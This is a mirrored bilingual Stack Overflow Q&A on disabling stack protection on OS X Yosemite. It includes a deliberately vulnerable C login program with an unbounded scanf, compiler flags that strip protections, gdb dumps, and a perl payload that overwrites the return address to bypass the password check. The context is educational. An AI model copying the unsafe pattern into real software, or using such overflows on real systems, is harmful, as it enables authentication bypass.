简体   繁体   English

OS X Yosemite 上的堆栈粉碎?

[英]Stack smashing on OS X Yosemite?

I'm having trouble figuring out how to disable stack protection on OS X 10.10.5 (Yosemite).我无法弄清楚如何在 OS X 10.10.5 (Yosemite) 上禁用堆栈保护。 I've sort of been cobbling together promising gcc flags from various threads online, but as of yet haven't managed to disable the protection.我一直在拼凑来自各种在线线程的有希望的 gcc 标志,但到目前为止还没有设法禁用保护。 I am currently compiling my program with:我目前正在编译我的程序:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c

But when I try to smash the stack I segfault.但是当我尝试粉碎堆栈时,我出现了段错误。

I have tried the same program on Red Hat Enterprise Linux Server 7.2 (Maipo), and after adjusting for memory address differences where appropriate, have had no problems smashing the stack after compiling with:我在 Red Hat Enterprise Linux Server 7.2 (Maipo) 上尝试了相同的程序,并在适当地调整了内存地址差异后,在编译后粉碎堆栈没有问题:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c

It's also probably worth noting that, as on most Macs, gcc on my machine is a symlink to clang (Apple LLVM version 7.0.0 (clang-700.0.72)).还可能值得注意的是,与在大多数 Mac 上一样,我机器上的 gcc 是 clang(Apple LLVM 版本 7.0.0 (clang-700.0.72))的符号链接。

How can I disable Yosemite's stack protection?如何禁用 Yosemite 的堆栈保护?


Additional Details额外细节

The dummy program I'm working with is:我正在使用的虚拟程序是:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int authenticate() {
  char password[10];
  printf("Enter password: ");
  scanf("%s", password);
  return strcmp(password, "1234567890") == 0;
}

void success() {
  printf("Access granted\n");
  exit(0);
}

void failure() {
  printf("Access denied\n");
  exit(1);
}

int main(int argc, char** argv) {
  if (authenticate()) {
    success();
  } else {
    failure();
  }
}

When I run otool -tv program , I note the following:当我运行otool -tv program ,我注意到以下几点:

The success routine to which I want to jump is at address 0x00001e70 .我要跳转到的success例程位于地址0x00001e70

The instruction to which we would normally return after authenticate is at address 0x00001efe .我们通常在authenticate后返回的指令位于地址0x00001efe

When I run gdb after entering the dummy password "xxxxxxxxxx" and inspecting the buffer with x/30xb &password , I observe:当我在输入虚拟密码“xxxxxxxxxx”并使用x/30xb &password检查缓冲区后运行gdb ,我观察到:

0xbffffc32: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xbffffc3a: 0x78    0x78    0x00    0x00    0x00    0x00    0x00    0x00
0xbffffc42: 0x00    0x00    0xfc    0xfc    0xff    0xbf    0x68    0xfc
0xbffffc4a: 0xff    0xbf    0xfe    0x1e    0x00    0x00

We want to overwrite the 27th 0xfe byte to be 0x70 .我们想将第 27 个0xfe字节覆盖为0x70

When I try to smash the stack as follows:当我尝试按如下方式粉碎堆栈时:

printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70

I get a segfault.我遇到了段错误。

The OS X ABI requires that system calls (such as the one to exit in success ) be issued from a 16-byte-aligned stack. OS X ABI 要求从 16 字节对齐的堆栈发出系统调用(例如success exit调用)。 When you jump into success, you get off by 4 bytes because it doesn't have another return address sitting on the stack (ie, you're supposed to call the function)当您跳转到成功时,您会减少 4 个字节,因为它没有另一个位于堆栈中的返回地址(即,您应该call该函数)

The fix for this is to jump to a call to success in a higher stack frame.对此的解决方法是跳转到更高堆栈帧中的success调用。 Jumping to the one in main works for me:跳转到我的主要作品:

(gdb) disas main
Dump of assembler code for function main:
   0x00001ed0 <+0>: push   %ebp
   0x00001ed1 <+1>: mov    %esp,%ebp
   0x00001ed3 <+3>: sub    $0x18,%esp
   0x00001ed6 <+6>: mov    0xc(%ebp),%eax
   0x00001ed9 <+9>: mov    0x8(%ebp),%ecx
   0x00001edc <+12>:   movl   $0x0,-0x4(%ebp)
   0x00001ee3 <+19>:   mov    %ecx,-0x8(%ebp)
   0x00001ee6 <+22>:   mov    %eax,-0xc(%ebp)
   0x00001ee9 <+25>:   call   0x1df0 <authenticate>
   0x00001eee <+30>:   cmp    $0x0,%eax
   0x00001ef1 <+33>:   je     0x1f01 <main+49>

   0x00001ef7 <+39>:   call   0x1e60 <success>

   0x00001efc <+44>:   jmp    0x1f06 <main+54>
   0x00001f01 <+49>:   call   0x1e90 <failure>
   0x00001f06 <+54>:   mov    -0x4(%ebp),%eax
   0x00001f09 <+57>:   add    $0x18,%esp
   0x00001f0c <+60>:   pop    %ebp
   0x00001f0d <+61>:   ret    

Then return to the call 0x1ef7 instruction:然后返回call 0x1ef7指令:

$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM